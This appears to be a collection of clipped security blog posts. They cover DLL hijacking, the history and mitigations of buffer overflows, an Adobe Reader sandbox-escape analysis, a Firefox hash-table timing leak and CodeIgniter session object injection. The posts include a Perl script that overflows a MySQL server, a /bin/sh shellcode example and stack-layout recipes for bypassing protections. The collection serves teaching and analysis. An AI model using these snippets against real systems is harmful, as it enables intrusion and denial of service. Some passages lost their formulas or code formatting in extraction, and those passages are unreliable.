  * More to follow in the following days

**Tools to detect said bug class :**

  * DLL Hijacking Audit Tool by Rapid7/HDmoore and Blog post \(Recommended read\)
  * Rapid7 Blog post \(Interesting backround information\)
  * Procmon \(Sysinsternals\)
  * Filemon \(Sysinsternals\)

Expect a lot of applications vulnerable to this bug and my title CVE-2010-x+n
probably makes sense by now. Another low hanging fruit to watch out for.

# visulator

**Created:**| _6/8/2015 4:51:54 PM_  
---|---  
**Updated:**| _6/8/2015 4:51:54 PM_  
**Author:**| __  
**Tags:**| _bookmark vulnerability_  
  

# visulator

Move the cursor below \(↑ or ↓\) to step

0x100 '66 05 f1 0f' , 0xff1

0x104 '66 81 c1 f1 0f' , 0xff1

0x109 '66 81 c2 f1 0f' , 0xff1

0x10e '66 81 c3 f1 0f' , 0xff1

0x113 '66 81 c4 f1 0f' , 0xff1

0x118 '66 81 c5 f1 0f' bp, 0xff1

0x11d '66 81 c6 f1 0f' , 0xff1

0x122 '66 81 c7 f1 0f' , 0xff1

0x127 '66 83 c0 01' ,

0x12b '66 83 c1 01' ,

0x12f '66 83 c2 01' ,

0x133 '66 83 c3 01' ,

0x137 '66 83 c4 01' ,

0x13b '66 83 c5 01' bp,

0x13f '66 83 c6 01' ,

0x143 '66 83 c7 01' ,

0x147 '66 b8 ff 7f' , 0x7fff

0x14b '66 83 c0 01' ,

0x14f '66 83 c0 01' ,

0x153 '66 b8 ff ff' , 0xffff

0x157 '66 83 c0 01' ,

0x15b '66 83 c0 01' ,

0x15f '66 bb ff 7f' , 0x7fff

0x163 '66 83 c3 01' ,

0x167 '66 83 c3 01' ,

0x16b '66 bb ff ff' , 0xffff

# Are buffer-overflows solved yet? A historical tale. | JabSoft I/O
**Created:**| _9/27/2013 7:38:12 AM_  
---|---  
**Updated:**| _9/27/2013 7:38:12 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  

# **A** re buffer-overflows solved yet? A historical tale.

Leave a reply

Perhaps the most exciting, scary, and classic security vulnerability is the
stack-based buffer overflow**.** This class of vulnerability goes as far back
as the 1970s and its legendary status can be tied to C and Unix itself**.**
One of the first computer worms, Morris , exploited exactly this flaw**.** In
the late 1980s, overflows burst onto the national stage to become a leading
security concern**.** In 1996, one of the most classic and most cited gray-hat
security texts was published; entitled _Smashing the Stack for Fun and Profit_
\(PDF \), Aleph One describes the attack in gory-detail and gives a full step-
by-step guide on writing an exploit**.** These days, this text is required
reading for security students and professionals alike**.** Indeed, the buffer-
overflow has been so important that countless security research papers have
been written about it attempting to “fix” the problem; this area has almost
been completely  _beat to death_ by the research community**.** Despite this,
papers are still being written and published  today**\!**

So, after a few decades of existence, can we finally put this behind us**?**
Is the overflow defeated yet? It turns out, this answer is not straight-
forward. The buffer-overflow is a particularly nasty beast, and despite our
best efforts it can still _rear its ugly head_**.** The problems can be
surprisingly subtle, so to answer our question, we must understand these
complications**.**

For those living under a rock for the past 40 years, here is the obligatory
buffer-overflow example:

[code]

    void main(void) {
        char buffer[256];
        scanf("%s", buffer); /* read arbitrarily sized string from stdin */
    }
[/code]

In this example, scanf will read any string from the input until a NULL byte
is reached**.** Not enough room in the buffer? …no worries, just keep
going**\!** There’s nothing important after the 256 bytes, right**?**

And its not just scanf\(\), but a _huge_ list of standard C functions that
will overrun a buffer in complete silence**\!**

OK, this was an easy one – surely a professional C programmer would be
informed and avoid writing buffer overflows**.** Not quite. The following
snippet is from a piece of software you probably indirectly use every day; see
if you can spot the problem, it might not be immediately obvious:

[code]

    /*
      Get privilege for a host, user and db combination
    
      as db_is_pattern changes the semantics of comparison,
      acl_cache is not used if db_is_pattern is set**.**
    */
    
    ulong acl_get(const char *host, const char *ip,
                  const char *user, const char *db, my_bool db_is_pattern)
    {
      ulong host_access= ~(ulong)0, db_access= 0;
      uint i;
      size_t key_length;
      char key[ACL_KEY_LENGTH],*tmp_db,*end;
      acl_entry *entry;
      DBUG_ENTER("acl_get");
    
      printf("Entered acl_get - len(db): '%d': key_size: %d\n",
    strlen(db), sizeof(key));
    
      mysql_mutex_lock(&acl_cache->lock);
      end=strmov((tmp_db=strmov(strmov(key, ip **?** ip : "")+1,user)+1),db);
    
      if (lower_case_table_names)
      {
        my_casedn_str(files_charset_info, tmp_db);
        db=tmp_db;
      }
      key_length= (size_t) (end-key);
      if (**!** db_is_pattern && (entry=(acl_entry*) acl_cache->search((uchar*) key,
                                                                  key_length)))
      {
        db_access=entry->access;
        mysql_mutex_unlock(&acl_cache->lock);
        DBUG_PRINT("exit", ("access: 0x%lx", db_access));
        DBUG_RETURN(db_access);
      }
[/code]

The overflow occurs in the following code:

[code]

    end=strmov((tmp_db=strmov(strmov(key, ip **?** ip : "")+1,user)+1),db);
[/code]

The following Perl script tickles the overflow with a SQL query \(borrowed
from here \):

[code]

      use strict;
      use DBI();
    
      # Connect to the database**.**
      my $dbh = DBI->connect("DBI:mysql:database=test;host=192**.** 168.2**.** 3;",
                             "user", "secret",
                             {'RaiseError' => 1});
    
      $a ="A" x 100000;
      my $sth = $dbh->prepare("grant file on $a**.** * to 'user'\@'%' identified by 'secret';");
      $sth->execute();
    
      # Disconnect from the database**.**
      $dbh->disconnect();
[/code]

This overflow hails for the MySQL source code and the flaw was reported in
December 2012**\!** This overflow happens extremely deep in the call tree,
long after the input validation is done and a rare and specially-crafted query
is needed for the code to be executed**.** Now, the MySql developers are
certainly smart people, yet here is an overflow**.** How does this happen**?**
Well, what 40 years of overflows have taught us is this: its incredibly hard
_not_ to write code with buffer overflows**\!**

To drive this point home, here is another example:

[code]

    char* processNext(char* strm) {
    	 char buf[512];
    	 short len = *(short*) strm;
    	 strm += sizeof(len);
    	 if (len <= 512) {
    	  memcpy(buf, strm, len);
    	  process(buf);
    	  return strm + len;
    	 } else {
    	  return -1;
    	 }
    	}
[/code]

This looks like a completely innocent piece of code**.** The code is doing
length checks and returning -1 when the source buffer is too big**.** What
could go wrong**?** The answer: negative numbers. If _len_ contains a negative
number the memcpy will proceed, and will convert  _len_ from a short to a
size\_t, which will now be interpreted as a large positive number; and, more
importantly, a buffer overflow**\!** There is a whole class of integer-related
problems that result in overflows and like this example, they typically appear
completely innocent**.** Even an experienced C programmer is likely to write
them on occasion**\!**

But hey, it’s 2013, surely we’ve solved this problem in some automatic
defenses that can detect overflows and kill programs that have hurdled out-of-
control**.** Yes, we have and they are quite good, but unfortunately they’re
not perfect**.**

To understand how the current defenses work, we need to have a solid
understanding of how a buffer-overflow attack can be designed**.** The memory
layout of a fictitious buffer overflow — similair to the first example — looks
something like this:

<img src='img/Temp2_876.png' alt='shell code layout cropped' />

During the overflow, the memory overwrite starts at the beginning of _buffer_
and proceeds until the NULL byte is reached \(assuming a string copy\)**.** If
the input is longer than the buffer, the data at _higher_ addresses will be
overwritten**.** Most importantly for the attacker, the return address will be
overwritten**.** Controlling the return address allows the attacker to make
the program jump to  _any_ place in memory when the function attempts to
return**.** This is how an attacker gains control.

The classic approach — the Aleph One era — is to inject some valid x86 machine
code and set the return address to jump to it**.** The injected machine code
typically makes a system call to spawn a shell, thus we commonly call it
_shellcode_**.**

Here’s an example of shellcode in C:

[code]

    #include <stdio**.** h>
    
    void main() {
       char *name[2];
    
       name[0] = "/bin/sh";
       name[1] = NULL;
       execve(name[0], name, NULL);
    }
[/code]

Now, an attacker would compile this code, extract the raw binary machine code,
and construct an input formatted like this \(memory grows down\):

<garbage to fill buffer and locals><return address: where shell code will
be><shellcode>

And voilà you have successfully gained control of some machine**\!** Except,
it’s not 1996 anymore…

One of the first defenses to emerge is known as Data Execution Prevention
\(DEP\) or W xor X. This defense stipulates that there will _never_ be two
regions of memory that can be both written to and executed from**.** Now, the
process will crash if the CPU attempts to fetch an instruction from the Stack
or the Heap**.** This defense is based on the observation that the attacker is
injecting data, not code**.** Since, the attacker will only be injecting data,
he should never be able to gain control of the program, right**?** Well, not
exactly.

As it turns out, this code/data duality that is fundamental to Von Neumann
machines is a tricky beast**.** What is Data? What is Code? These seemingly
simple questions are actually so difficult that we still don’t have a proper
answer**.** To quote Sergey Bratus et. al. — whom recently showed that the
Intel MMU is itself turing-complete  — Any sufficiently complex input is
indistinguishable from code**.** Today, we’ve simply accepted that there
really is no distinction**.**

Thus, it wasn’t long before attackers discovered a work-around to exploit
buffer overflows: Return-Oriented Programming \(ROP\)**.** Instead of directly
providing the code to execute, an attacker can simply chain return jumps
together and reuse existing code**.** The usual target of this ROP-business:
The C Library \(libc\)**.**

Perhaps the most obvious target is the system\(\) function, which can be used
to execute any shell command the attacker desires**.** This simple ROP exploit
might look like this:

<garbage to fill buffer and locals>  
<return address: address of system\(\)>  
<next return address \(for system\(\)\): usually just garbage>  
<argument 1 to system\(\): pointer to command string>  
<command string>

However, more sophisticated ROP code can be constructed**.** The returns can
be chained, resulting in something of this form:

<garbage to fill buffer and locals>  
<1st return address: address of foo\(\)>  
<2nd return address: some “gadget” to pop the arguments from the last “call”>  
<argument 1 to foo\(\)>  
<argument 2 to foo\(\)>  
…  
<argument n to foo\(\)>  
<3rd return address: address of bar\(\)>  
<4th return address: some “gadget” to pop the arguments from the last “call”>  
<argument 1 to bar\(\)>  
<argument 2 to bar\(\)>  
…  
<argument n to bar\(\)>

Things get a bit trickier on ARM and x86-64 machines since arguments are
passed in registers, but its still do able**.** Hint: we’re in assembly land,
so we can jump into the middle of a random function if we want**\!**

Now, its easy to think that this technique is strictly less computationally
powerful \(from a theoretical sense\) than injecting pure machine code**.**
However, it turns out that ROP is turing-complete **\!** This means we could
write a compiler for <your-favorite-language-here> that would execute your
code with only chained returns**\!** \(somebody please do this\)**.** This is
the reality of the code/data duality.

To mitigate this threat, Address Space Layout Randomization \(ASLR\)
emerged**.** This technique involves the Operating System memory management to
randomize the memory mappings of stack, heap, and dynamic libraries \(DLLs in
Windows, Shared Object in Unix\)**.** Its no longer easy to jump to any piece
of code in the execuatable, because the locations vary across executions**.**
Sounds great, right?

Well, there are problems. First, if the code \(.text\) segment isn’t
randomized — as the case in Linux — the attacker can call any libc function
used by the program by jumping into the Procedure Linkage Table \(PLT\)**.**
The PLT is a table that maps into the randomized segments, so they can be
called from deterministic addresses — kind of defeating to point**.** Luckily,
only the dynamic library procedures used will be placed in the PLT, so if your
code doesn’t call system\(\) it will not be in the PLT**.** Second, on a
32-bit system, ASLR is almost worthless**.** On x86 32-bit machines, the page
size is 4Kb — the lower 12-bits of the address**.** In addition, a handful of
other bits \(about 8 bits\) are reserved for special regions**.** This leaves
about 12-bits for randomization or a mere 4096 possibilities**.** This is very
easy to brute-force.

Another ambitious and effective defense appeared at approximately the same
time: StackGuard \(or Stack Canaries\)**.** The name “stack canaries” is a
reference to practice of using a “canary in a coal mine” to determine if
Carbon-monoxide is present**.** This defense works in a similar way by placing
a random or null value in the stack before the return address**.** If an array
is overflowed, the canary value will be corrupted**.** Now, the program can
simply check for the corruption before attempting a return**.** The stack
format with stack canaries might look like this:

<256 char exploitable buffer>  
<local vars>  
<canary value>  
<return address>  
<function argument 1>  
<function argument 2>  
…  
<function argument N>

The stack canary defense is among the hardest to defeat, but It can be
done**.** Consider this code where the stack canary value is 0 \(this isn’t
uncommon\), and ASLR is not enabled:

[code]

    // dest will always be point to a buffer with at least 256 chars
    void func(char *dest) {
      char buffer[256];
      char *src = &buffer[0];
      scanf("%s", src);
      strncpy(dest, src, 255);
      dest[255] = '\0';
    }
[/code]

The scanf\(\) provides a buffer overflow, but the method to defeat StackGuard
may not be as clear**.** To understand, imagine that the stack layout looks
like this:

<char buffer\[256\]>  
<char \*src>  
<stack canary>  
<return address>  
<char \*dest>

With this layout, an attacker can overwrite both  _src_ and  _dest_ during the
overflow**.** Thus, the remaining code may not do what the programmer
intended**.** If the stack canary was a null byte, restoring is easy**.** The
attacker simply changes  _dest_ such that  _& dest\[255\]_ points to the
address of the stack canary**.** Then, the  _dest\[255\] = ‘\0′_ will restore
the stack canary**.**

Now, with all three of these defenses \(DEP, ASLR, & StackGuard\), a
successful attack can be incredibly difficult**.** So, lets return to our
original question: Are buffer-overflows a solved problem now**?** The answer
is still not clear… On a modern PC with all these defenses, one could argue
that the problem is mitigated, but I want to consider the much broader
application**.** In 2013, the computing landscape is wider than ever
before**.** There is now an emerging class of devices that are challenging the
status-quo: Embedded Systems; here lies the problem**.**

In the 1990s and 2000s we witnessed an outbreak of security problems with PCs
as they were connected to the internet for the first time**.** In the 2010s,
its the embedded world that is being increasingly connected, and sadly the
results are reminiscent of the past**.** There are countless recent blatant
vulnerabilities in this class of devices, including GoPro Cameras , Internet
Routers , Cars , Remote Server Management Hardware \(IPMI\) **.** But, our
triplet defense should have solved this\! Also, we have many wonderful new
systems languages that do away with this issue \(D, Go, Rust, etc\)**.** Why,
is this still a problem?**\!**

The problem is culture.

In recent work, myself and some colleagues reverse-engineered some firmware
used on a remote management interface \(IPMI \)**.** This class of device is
used to remotely control servers, allowing the administrator to power-cycle
the machine, install operating systems, and perform remote monitoring**.**
What we discovered was appalling: there were trivial buffer overflows \(like
the first example\) in the login page**.** Further, the only defense was an
extremely limited form of ASLR**.** And, there were at least 40,000 such
machines connected directly to the internet**.** The result was completely
stunning.

After searching for answers, I stumbled upon this: embedded culture runs
completely contrary to classical PC and server software development**.** Many
people have described the embedded industry as incredibly fast moving, leaving
little time to do things the “right way”**.** They depict managers that urge
developers to push their products out the door as-soon-as-humanly-
possible**.** There’s an attitude that worrying about security is wasting ones
time**.** Stunningly, I’ve even met firmware developers who’d never even heard
of a buffer-overflow**\!** They appeared genuinely shocked when I explained
the concept**.**

The embedded world has long enjoyed the “coffee-pot domain” where applications
have simple well-defined use-cases**.** Who cares if their coffee machine has
buffer overflows**?** What could the attacker do, other than cause a big
inconvenience \(its not like we’re addicted to caffeine <img
src='img/Temp2_877.png' alt=';-)' /> \)**.** However, if an attacker uses an
embedded device to gain complete control of your server \(or car\), the
potential damage is nearly immeasurable**.**

Today, embedded is the new threat, and many of these attacks are the result of
some negligent buffer-overflow**.** While we have a fairly good handle on
buffer-overflows from the technical side, we still struggle socially with the
problem**.** Correcting this problem requires an industry culture shift and a
lot of developer education**.**

However, writing good and secure code requires the ability to “think like an
attacker” and have some background understanding of how software can be
exploited and where the defenses can fail**.** In this post I have attempted
to do just that, but my treatment has been only minimal**.** To really
understand, you have to write your own buffer-overflow attack**.** Not only is
it fun, but you never fully understand a problem, until you’ve had to solve
it**.**

In future posts, I may begin a “Buffer-overflow Tutorial” series where I give
a step-by-step exploit walk-through of real buffer-overflows \(for example:
the mysql overflow above**\!**\) Until then, happy hacking\!

****

# Digging Into the Sandbox-Escape Technique of the Recent PDF Exploit | Blog Central
**Created:**| _2/21/2013 10:47:24 AM_  
---|---  
**Updated:**| _2/21/2013 11:23:41 AM_  
**Author:**| __  
**Tags:**| _Exploit programming sandboxing_  
  

# Digging Into the Sandbox-Escape Technique of the Recent PDF Exploit

  

As promised in our previous blog entry for the recent Adobe Reader PDF zero-
day attack, we now offer more technical details on this Reader “sandbox-
escape” plan. In order to help readers understand what’s going on there, we
first need to provide some background.

**Adobe Reader’s Sandbox Architecture**  

The Adobe Reader sandbox consists of two processes: a high-privilege broker
process and a sandboxed renderer process; the latter is responsible for
rendering the PDF document.

<img src='img/Temp2_2235.png' width='300' height='263' alt='pic0' />

We copied the preceding image from Adobe’s ASSET blog. The renderer process
has restricted read/write access to the file system, registry, and named
objects. Most of the native OS API calls will go through the interprocess
communication \(IPC\) mechanism to the broker process. For example, you can
find more details in the following image to see how a native API call
\(CreateFile\) originates from the sandbox process and how the broker process
eventually takes over as a proxy.

<img src='img/Temp2_2230.png' width='300' height='131' alt='pic1' />

Actually, the Reader sandbox’s IPC is implemented based on Google Chrome’s IPC
shared-memory mechanism. The broker process creates a 2MB shared memory for
IPC initialization, the handle of the shared memory is duplicated and
transferred to the sandboxed process, and all the communications leverage this
shared memory.

The API call request from the sandboxed process is stored in an IPC channel
buffer \(also called CrossCallParams or ActuallCallParams\). The structure of
the buffer is defined as the following format \(from crosscall\_params.h\):

<img src='img/Temp2_2236.png' width='300' height='221' alt='pic2' />

Here are some explanations for the fields:

  * The first 4 bytes, the “tag,” is the opcode for which function is being called
  * “IsOnOut” describes the data type of the “in/out” parameter
  * “Call return” has 52 bytes. It’s a buffer used to fill the returning data from the IPC server.
  * “Params count” indicates the number of the parameters
  * The parameter type/offset/size info indicate the actual parameters

The parameter type is an enum type, s defined as follows:

<img src='img/Temp2_2233.png' width='119' height='203' alt='pic22' />



### **Escaping the Sandbox**

The sandbox escape in this zero-day exploit is due to a heap-based overflow
vulnerability that occurs when the broker process handles the call request of
the native API “GetClipboardFormatNameW.” The tag id for this API is 0×73.
Here is the ActuallCallParams \(IPC channel buffer\) memory structure for the
request in the exploit:

<img src='img/Temp2_2231.png' width='300' height='220' alt='pic3' />

As marked by different colors above, the first DWORD is the tag id \(0×73\),
and there are only two parameters for this API call \(as indicated by the blue
DWORD\). The yellow DWORDs are the parameter types: Type 6 means
INOUTPTR\_TYPE and type 2 means ULONG\_TYPE. The red DWORDs are the sizes for
these parameters, so the first parameter has 0x9c bytes with the “in/out ptr”
type and the second parameter has 4 bytes with the “long” type.

Let’s take a look at the definition of the parameters for the
GetClipboardFormatNameW API.

<img src='img/Temp2_2232.png' width='300' height='139' alt='pic31' />

According to the preceding definition, the GetClipboardFormatNameW call would
look like this:

_GetClipboardFormatNameW\(0xc19a, “BBBBBBBBBB……”, 0x9c\);_

At first sight, this function call looks normal, with nothing malicious.
Unfortunately, there are two issues that will lead to a heap overflow
condition. First, Adobe Reader allocates the heap memory based on
“cchMaxCount,” while the correct size should be “cchMaxCount \*
sizeof\(WCHAR\)” as this is a Unicode API. In our case, the allocation size is
only 0x9c; that is incorrect. Second, the lower-level native API
NtUserGetClipboardFormatName\(\) called by GetClipboardFormatNameW\(\) is
using cchMaxCount\*sizeof\(WCHAR\) as its “length” parameter when copying a
string to the heap buffer. At this point the heap overrun happens\!

There is a trick to trigger this heap overflow: Just pay attention to the
first parameter. From the MSDN description, the parameter “format” is used to
retrieve the type of the format. So if we can pass in advance a format ID that
requires a longer buffer space, then later when the broker calls the
GetClipboardFormatNameW\(\) to retrieve the format, it will trigger the
overflow.

In this sandbox-escaping exploit, the malware calls
RegisterClipboardFormatW\(\) to register a different format name, which is
much longer than 0x9c bytes. Finally, an object \(vtable\) on heap will be
overwritten. However, the story is not over yet. In order to achieve reliable
exploitation, a heap spray inside the broker process is needed. The attacker
did this in a very smart way, he or she leveraged the “HttpSendRequestA”
function \(tag id 0x5d\). See the following dumped memory for this function
call request.

<img src='img/Temp2_2234.png' width='300' height='132' alt='pic4' />

Because the fourth parameter \(lpOptional\) has the type VOIDPTR\_TYPE \(its
address and size are highlighted in red\) in the exploit, the attacker passes
the buffer size 0x0c800000 \(the second red section\). Because the size is
huge, when the IPC server calls ReadProcessMemory API to read the buffer, the
broker process’ heap memory will be sprayed with attacker-controlled data at a
predictable memory location.

The ASLR- and DEP-bypassing part is very easy because the module base
addresses of the broker process and the sandboxed process are same. The
attacker can directly use the ROP code chain to defeat both ASLR and DEP.

Adobe has now released the official patch for these critical vulnerabilities.
As always, we strongly suggest that users apply the patch as soon as possible.
For McAfee customers, you’ll find our solutions in our previous post.

Thanks again to Bing Sun, Chong Xu, and Haifei Li for their help with this
analysis.

# Leaking information using timing attacks on hash tables, part 2 « GDTR

**Created:**| _8/16/2012 9:16:32 AM_  
---|---  
**Updated:**| _8/16/2012 9:16:32 AM_  
**Author:**| __  
**Tags:**| _hashes crypto math_  
  

## Leaking information using timing attacks on hash tables, part 2

14/08/2012 p\_k Leave a comment Go to comments

This is the second part of Leaking information using timing attacks on hash
tables, discussing implementation details of the leak. Read the first part for
a high level overview.

#

# Implementation details

Consider a hash table using double hashing \[1\]. Checking if a key belongs to
a hash table T can be expressed as:

[code]

    def lookup(T, k):
        h1 = hash1(k)
        h2 = hash2(k)
    
        idx = h1
        while 1:
            if is_free(T[idx]):
                return False
    
            #structure holding (k,v)
            s = T[idx]  
            if s.k == k:
                return True
    
            idx += h2
            idx = idx % size(T)
    
[/code]

Note this can’t loop if always returns something relatively prime to and is
never 100% full \(FF keeps both of these conditions true\).

Firefox is nice enough to store certain kind of pointers and user supplied
integers in the same hash table. All of the magic happens in this function:

[code]

    file: js\src\jsscope.cpp
    function: Shape ** PropertyTable::search(jsid id, bool adding)
    
[/code]

is an abbreviation of T.search\(k, false\).

In order to layout keys in as described in part 1:

<img src='img/layout1.png' />

we set properties of a javascript object. JS code:

[code]

    obj[x] = 1;
    
[/code]

translates to and if is an integer, we have full control on where exactly in
it’s going to be stored. The hash functions used by FF are \(all operations
modulo \):

[code]

    def h(x):
        return x*GOLDEN
    
    def hash1(x, shift):
        return h(x)>>shift
    
    def hash2(x, log2, shift):
        return (h(x)<<log2)>>shift
    
[/code]

where is an odd constant \(golden ratio\), , = .

In order to set , we need to find s.t. = . Since is relatively prime to , it
has a multiplicative inverse \[2\] . Solving for yields . Now the factor <img
src='img/icon_wink.gif' alt=';)' /> would be if integers passed from JS were
not mangled, but unfortunately they are — instead of , the key being added to
the table is \(this is related to how FF tags \[3\] pointers\). To accomodate
for this, set and let

Now **obj\[x '\]=1;** will result in setting at position , but that equals

  
  
  
  
  
  

The equality holds, because if , must be odd \(since both and are odd\).

Using these formulas, we fill \(mixing python and js pseudocode\):

[code]

    obj = {}
    for i in range(N):
        x' = calc_x(i)
        obj[x'] = 1 #this results in T[i] being set
    
[/code]

How to use this crafted table to leak information?

Invoking **obj.hasOwnProperty\(str\)** is equivalent to , so if we make enough
JS objects \(strings in this POC\) we will eventually find one that takes
considerably longer to check than others. Let’s call this object . Recall that
running time of is proportional to the length of ‘s chain, so longer checking
means longer chain.

Using the technique described in part 1, we can learn elements belonging to ‘s
chain. Let’s express them as \(, \).

Part 1 describes how to recover with high probability, by computing the of a
specific set. We will prove that the “exponentially low probability for
failure” claim is correct and discuss a case where the described algorithm can
fail.

Let and let . is a set of differences of randomly chosen elements from . Let
\(note that \). What’s the probability that ?

An equivalent question is to ask about probability of for . To see that,
consider what happens if we divide all elements of by , or multiply all
elements of by .

<img src='img/zeta.png' />

Nymann asked himself the same exact question in 1972 <img
src='img/6367_icon_smile.gif' alt=':)' /> and proved \[5\], that the
probability of random integers being relatively prime is , where is the
Riemann’s zeta function \[6\]. I think it’s pretty cool that zeta made its way
to a blog post about hashtables in Firefox <img src='img/icon_biggrin.gif'
alt=':D' /> . Yet another grave reason to solve the related millenium problem
\[8\] <img src='img/icon_wink.gif' alt=';)' /> .

It’s easy to see that exponenets work in our favor. Since , then , so and .
Probability that approaches exponentially fast in terms of .

The above reasoning works when the sequence of elements of ‘s chain is
monotonic, meaning that was small enough to never “wrap” around . There’s a
second case, which looks like this, when plotted on a graph:

<img src='img/scatter.png' />

Elements are scattered around both ends of the filled region. This happens
when is big enough to “jump over” the free region at the end of the hashtable.

The in that case is most likely going to be equal to 1, but with . There’s a
fast way to deal with this problem.

Let , so that we can express differences of elements of ‘s chain as:

mod  
  
.  
  
.  
  
mod

Notice that the range of is . Low end with , and high end with ,.

Knowing that, we can iterate over all possible values of , solve the equation
for \(using the linear congruence theorem \[7\]\) and then compute:

mod  
  
.  
  
.  
  
mod

If we found was correct, then . Probability that this condition is true, but
is incorrect is \(again\) exponentially low.

Part 1 discusses how to find the chain’s starting point , knowing a single
element of the chain and its period .

Having and , we reconstruct ptr\(Mstr\) exactly:

# Defining info leaks

As we can see, leaking information is not the same thing as reading memory. My
proposition is to define “leaking” as any procedure leading to diminishing the
number of possible states the attacked program might be in. Let’s say a
program has 2 bits of memory. Let’s assume we learned \(by any means\) that
xor \( is the memory\). This condition allows only , or ,, so the number of
possible states is 2, instead of 4. “Memory disclosure” definition fails to
account for these “partial” leaks and side channel leaks, while the “entropy”
one doesn’t.

**References**

1\. http://en.wikipedia.org/wiki/Double\_hashing  
  
2\. http://en.wikipedia.org/wiki/Modular\_multiplicative\_inverse  
  
3\. http://en.wikipedia.org/wiki/Tagged\_pointer  
  
4\. http://en.wikipedia.org/wiki/Linear\_regression  
  
5\. J. E. Nymann. “On the Probability that k Positive Integers Are Relatively
Prime.” J. Number  
  
Theory 4 \(1972\):469-73.  
  
6\. http://en.wikipedia.org/wiki/Riemann\_zeta\_function  
  
7\. http://en.wikipedia.org/wiki/Linear\_congruence\_theorem  
  
8\.
http://en.wikipedia.org/wiki/Millennium\_Prize\_Problems\#The\_Riemann\_hypothesis

<img src='img/6384_latex.php' /><img src='img/6345_latex.php' /><img
src='img/6374_latex.php' /><img src='img/6387_latex.php' /><img
src='img/6321_latex.php' /><img src='img/6365_latex.php' /><img
src='img/6355_latex.php' /><img src='img/6385_latex.php' /><img
src='img/6311_latex.php' /><img src='img/6327_latex.php' /><img
src='img/6320_latex.php' /><img src='img/6344_latex.php' /><img
src='img/6338_latex.php' /><img src='img/6350_latex.php' /><img
src='img/6393_latex.php' /><img src='img/6373_latex.php' /><img
src='img/6330_latex.php' /><img src='img/6383_latex.php' /><img
src='img/6323_latex.php' /><img src='img/6390_latex.php' /><img
src='img/6326_latex.php' /><img src='img/6314_latex.php' /><img
src='img/6329_latex.php' /><img src='img/6378_latex.php' /><img
src='img/6381_latex.php' /><img src='img/6358_latex.php' /><img
src='img/6347_latex.php' /><img src='img/6312_latex.php' /><img
src='img/6377_latex.php' /><img src='img/6369_latex.php' /><img
src='img/6335_latex.php' /><img src='img/6371_latex.php' /><img
src='img/6332_latex.php' /><img src='img/6339_latex.php' /><img
src='img/6386_latex.php' /><img src='img/6356_latex.php' /><img
src='img/6341_latex.php' /><img src='img/6308_latex.php' /><img
src='img/6328_latex.php' /><img src='img/6319_latex.php' /><img
src='img/6380_latex.php' /><img src='img/6342_latex.php' /><img
src='img/6364_latex.php' /><img src='img/6382_latex.php' /><img
src='img/6307_latex.php' /><img src='img/6376_latex.php' /><img
src='img/6354_latex.php' /><img src='img/6333_latex.php' /><img
src='img/6306_latex.php' /><img src='img/6313_latex.php' /><img
src='img/6379_latex.php' /><img src='img/6370_latex.php' /><img
src='img/6359_latex.php' /><img src='img/6343_latex.php' /><img
src='img/6324_latex.php' /><img src='img/6317_latex.php' /><img
src='img/6334_latex.php' /><img src='img/6389_latex.php' /><img
src='img/6375_latex.php' /><img src='img/6336_latex.php' /><img
src='img/6360_latex.php' /><img src='img/6310_latex.php' /><img
src='img/6349_latex.php' /><img src='img/6366_latex.php' /><img
src='img/6363_latex.php' /><img src='img/6305_latex.php' /><img
src='img/6362_latex.php' /><img src='img/6357_latex.php' /><img
src='img/6353_latex.php' /><img src='img/6316_latex.php' /><img
src='img/6309_latex.php' /><img src='img/6352_latex.php' /><img
src='img/6318_latex.php' /><img src='img/6325_latex.php' /><img
src='img/6361_latex.php' /><img src='img/6340_latex.php' /><img
src='img/6337_latex.php' /><img src='img/6315_latex.php' /><img
src='img/6372_latex.php' /><img src='img/6331_latex.php' /><img
src='img/6348_latex.php' /><img src='img/6346_latex.php' /><img
src='img/6351_latex.php' /><img src='img/latex.php' />

# Mehmet Dursun INCE | Information Security Blog » Codeigniter Object Injection Vulnerability via Encryption Key
**Created:**| _4/22/2014 11:39:10 AM_  
---|---  
**Updated:**| _4/22/2014 11:39:10 AM_  
**Author:**| __  
**Tags:**| _oop code-injection_  
  

# Codeigniter Object Injection Vulnerability via Encryption Key

### Hello

Codeigniter is one of my favorite PHP framework. Like every one else, I’ve
learned PHP MVC programming with this framework. Today, I decided to analyze
Codeigniter for PHP Object Injection Vulnerability.

I’ll focus on Session mechanism of Codeigniter at rest of this write-up . All
method that I will explain are located in
**CodeIgniter/system/libraries/Session.php** file. Also I used Codeigniter 2.1
stable release for this research.

### Codeigniter Session Mechanism

CI use serialization methods of PHP to store variables in user session. But
Codeigniter session mechanism is not working like we expect. It stores session
variables in client’s cookie. We expect that Codeigniter stores session
variables at server side, mostly on disk instead of user cookie. I don’t know
why developers decided to this way.

Following description grabbed from codeigniter documentation.

> The Session class stores session information for each user as serialized
> \(and optionally encrypted\) data in a cookie. Even if you are not using
> encrypted sessions, you must set an encryption key in your config file which
> is used to aid in preventing session data manipulation.
In this write-up we will analyze the possibilities of session data
manipulation and so on.

### Codeigniter Session Data Structers

Let’s start read some codes. But before go further let me explain how
Codeigniter creates sessions and put variables into the session -actually
cookie\!-

I will use CI shortcut instead of Codeigniter at rest of the write-up by the
way.

Lets start to review codes with construct method of Session class. Following
codes are a part of \_\_construct method.

| // Run the Session routine. If a session doesn't exist we'll// create a new
one. If it does, we'll update it.if \( \! $this->sess\_read\(\)\)
$this->sess\_create\(\); $this->sess\_update\(\);// Delete 'old' flashdata
\(from last request\)$this->\_flashdata\_sweep\(\);// Mark all new flashdata
as old \(data will be deleted before next
request\)$this->\_flashdata\_mark\(\);// Delete expired sessions if
necessary$this->\_sess\_gc\(\);log\_message\('debug', "Session routines
successfully run"\);  
---|---  
CI try to read value from current client’s cookie. If it fails then it created
new one. Let assume we dont have any cookie right now. So CI going to call
**sess\_create** function. Following codes belongs to sess\_create function
which is one of the Session class’s methods.

| function sess\_create\(\) $sessid = ''; while \(strlen\($sessid\) < 32\)
$sessid .= mt\_rand\(0, mt\_getrandmax\(\)\); // To make the session ID even
more secure we'll combine it with the user's IP $sessid .=
$this->CI->input->ip\_address\(\); $this->userdata = array\( 'session\_id' =>
md5\(uniqid\($sessid, TRUE\)\), 'ip\_address' =>
$this->CI->input->ip\_address\(\), 'user\_agent' =>
substr\($this->CI->input->user\_agent\(\), 0, 120\), 'last\_activity' =>
$this->now, 'user\_data' => '' // Save the data to the DB if needed if
\($this->sess\_use\_database === TRUE\)
$this->CI->db->query\($this->CI->db->insert\_string\($this->sess\_table\_name,
$this->userdata\)\); // Write the cookie $this->\_set\_cookie\(\);  
---|---  
